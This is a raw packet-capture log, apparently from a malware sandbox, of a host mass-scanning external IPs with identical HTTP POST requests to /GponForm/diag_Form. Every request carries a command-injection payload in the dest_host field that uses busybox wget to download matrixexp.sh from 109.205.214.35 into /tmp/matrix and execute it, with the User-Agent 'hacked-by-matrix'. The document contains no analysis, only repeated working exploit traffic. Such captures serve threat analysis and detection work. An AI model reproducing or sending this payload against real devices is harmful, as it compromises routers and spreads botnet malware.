Mar 21, 2024 05:16:52.973543882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	37214	5.146.137.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973582029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	55582	94.238.103.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973615885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	44554	2.133.89.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973634958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	57536	212.193.173.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973679066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	47564	94.29.227.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973709106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	58438	118.83.221.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973740101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	37890	94.168.223.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973803997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	49402	79.235.104.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973834991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	55198	2.198.214.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973887920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	33422	94.146.70.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973925114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	46724	210.188.90.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973977089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	55416	2.219.158.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974016905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	36294	94.72.101.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974057913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	32788	210.156.138.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974570036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	40946	42.114.204.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974605083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	33196	2.202.159.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974636078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	53538	178.125.41.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974680901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	55868	37.141.43.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974709034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	44064	79.247.188.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974740982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	57292	118.51.238.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974785089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	43766	118.43.2.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974829912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	35462	109.100.144.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974878073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	33692	2.58.224.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.974922895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	34636	5.28.203.78	443

Timestamp	Bytes transferred	Direction	Data
